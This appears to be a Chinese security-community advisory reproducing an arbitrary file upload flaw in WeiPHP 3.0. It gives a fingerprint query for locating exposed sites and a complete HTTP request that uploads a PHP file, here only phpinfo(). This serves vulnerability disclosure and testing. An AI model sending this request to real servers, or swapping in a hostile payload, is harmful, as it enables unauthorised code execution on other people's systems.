奇安信攻防社区-WeiPHP3.0 session_id 任意文件上传漏洞

WeiPHP3.0 session_id 任意文件上传漏洞

# WeiPHP3.0 session_id 任意文件上传漏洞 ## 漏洞描述 WeiPHP3.0 session_id 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件 ## 漏洞影响 WeiPHP3.0 ## 网络测绘 ap...

WeiPHP3.0 session\_id 任意文件上传漏洞
==============================

漏洞描述
----

WeiPHP3.0 session\_id 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件

漏洞影响
----

WeiPHP3.0

网络测绘
----

app="weiphp"

漏洞复现
----

登陆页面标识

![img](https://shs3.b.qianxin.com/butian_public/f9234009d2622fd9b25bef8f6079a6952a75998abff1b.jpg)

发送请求包上传文件

```php
POST /index.php?s=%2FHome%2FFile%2Fupload%2Fsession_id%2Fscevs8hub3m5ogla05a421hb42.html HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 831
Content-Type: multipart/form-data; boundary=------------------------e37a54d7d5380c9f
Accept-Encoding: gzip

--------------------------e37a54d7d5380c9f
Content-Disposition: form-data; name="download"; filename="882176.php"
Content-Type: application/octet-stream

<?php
phpinfo();

--------------------------e37a54d7d5380c9f--
```

![img](https://shs3.b.qianxin.com/butian_public/f927924f081d3da622940a37597e7f24540cc8ac7b6ee.jpg)

获取目录后访问回显的 path

![img](https://shs3.b.qianxin.com/butian_public/f324602cbb636f434577d114a65228dcf36e84015175b.jpg)

发表于 2024-07-12 18:43:58
阅读 ( 1064 )
分类：CMS

WeiPHP3.0 session_id 任意文件上传漏洞

0 条评论